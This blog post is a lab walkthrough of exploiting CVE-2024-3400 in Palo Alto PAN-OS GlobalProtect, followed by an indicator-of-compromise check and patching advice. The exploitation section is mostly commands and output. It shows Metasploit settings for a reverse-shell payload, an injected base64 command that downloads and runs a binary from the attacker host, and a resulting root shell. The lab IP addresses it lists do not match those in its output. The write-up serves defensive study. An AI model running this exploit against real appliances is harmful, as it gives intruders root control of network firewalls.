Hey tech enthusiasts! Long time, no post. It’s been a whirlwind first half of 2024, packed with cybersecurity challenges and breakthroughs. Let’s dive into a significant event from April (feels like ages ago, right?).
Back then, Palo Alto Networks (PA) customers were blindsided by a critical vulnerability: CVE-2024-3400. If you were running GlobalProtect and had public-facing PA appliances, you were in the crosshairs for a complete compromise. This nasty bug allowed arbitrary file creation, leading straight to full remote code execution.
In the wild I saw part of the exploit (the arbitrary file creation part) which was hitting the Internet in an automated fashion. Testing to see if the full exploit on a PA appliance was possible. Create the file and see if the telemetry service would run it or not. The bug is a two-stage process, the arbitrary file upload and then the execution of a payload which uses the PAN OS telemetry service. PA revised their initial communication about the bug stating that even if telemetry service is turned off exploitation was still possible on a vulnerable version of PAN OS.
Let’s get to labbing!
Prerequsities
PC with VMware Workstation installed and configured.
1 x VM 300 Series PA running a vulnerable version of PAN OS 10.2.x, 11.0.x or 11.1.x
VM 300 Series PA must have a valid license (you can install a trial version). It also must have a device certificate installed for the underlying telemetry service to work.
1 x Kali Linux VM
Update Kali VM with apt update and apt upgrade.
Addresses used
PA Trusted Interface 10.0.0.248/24 (Global Protect is running here)
PA MGMT Interface 10.0.0.249/24 (same subnet for simplicity, as this is just a lab).
Kali Linux eth0 10.0.0.138/24
Method
I assume IP addresses and networking has been configured.
1. Setup the PA Management and trust interface and enable Global Protect on it.
2. Fire up the Kali VM:
msfconsole
msf6 > use exploit/linux/http/panos_telemetry_cmd_exec
msf6 > set payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit > set rhost 10.0.0.248
msf6 exploit > set lhost 10.0.0.138
msf6 exploit > set lport 4444
msf6 exploit > run
[*] Started reverse TCP handler on 10.0.0.138:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-oidkrahj-regular.woff2 NOTE: This file will not be deleted
[*] Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload
[*] Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled
3. It can take up to an hour for the telemetry service to run the payload (which in this case is meterpreter reverse shell back to our kali host on port 4444). Below code snippet shows the console output from metapsloit after the payload executed. It took around 2 mins or so:
[+] Deleted /opt/panlogs/tmp/device_telemetry/hour/zhti`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvd0Z5Wm1Kc05SWnl1IGh0dHA6Ly8xOTIuMTY4LjEwMC4xMzg6ODA4MC9EdXZnSFhoS0lYaW5uM2ZFWVFyMi1nOyBjaG1vZCAreCAvdmFyL3RtcC93RnlabUpzTlJaeXU7IC92YXIvdG1wL3dGeVptSnNOUlp5dSAm|base64${IFS}-d|bash${IFS}-`
[+] Deleted /opt/panlogs/tmp/device_telemetry/minute/sgmm`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvd0Z5Wm1Kc05SWnl1IGh0dHA6Ly8xOTIuMTY4LjEwMC4xMzg6ODA4MC9EdXZnSFhoS0lYaW5uM2ZFWVFyMi1nOyBjaG1vZCAreCAvdmFyL3RtcC93RnlabUpzTlJaeXU7IC92YXIvdG1wL3dGeVptSnNOUlp5dSAm|base64${IFS}-d|bash${IFS}-`
[*] Meterpreter session 1 opened (192.168.100.138:4444 -> 192.168.100.249:47530) at 2024-07-25 17:11:07 +0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.100.249
OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.27.pan.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > shell
Process 5441 created.
Channel 3 created.
whoami
root
pwd
/rootYou can see above the metasploit module deletes the arbitary files (cleans up) and then drops to meterpreter shell. You can see full root access to the PAN OS install.
Indicator of Compromise
Ok so after we have successfully run the exploit. Lets check the common IoC (which is listed on the PA Advisory). SSH to the management interface and login. Then run the grep command:
grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*admin@PA-VM> grep pattern "failed to unmarshal session(.\+.\/" mp-log gpsvc.log*
{"level":"error","task":"9-7","time":"2024-07-25T17:07:24.05196137+08:00","message":"failed to unmarshal session(./../../../../opt/panlogs/tmp/device_telemetry/minute/sgmm`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvd0Z5Wm1Kc05SWnl1IGh0dHA6Ly8xOTIuMTY4LjEwMC4xMzg6ODA4MC9EdXZnSFhoS0lYaW5uM2ZFWVFyMi1nOyBjaG1vZCAreCAvdmFyL3RtcC93RnlabUpzTlJaeXU7IC92YXIvdG1wL3dGeVptSnNOUlp5dSAm|base64${IFS}-d|bash${IFS}-`) map , EOF"}As shown above this will output the IoC from the Global Protect service log file.
Mitigation
Install hot fix / patch from the PA Advisory. You can also enable Threat ID signatures 95187, 95189, and 95191 with a valid subscription and block the attack with a vulnerbility management profile. Stay tuned for more insights and updates as we navigate through these security minefields together!
Comments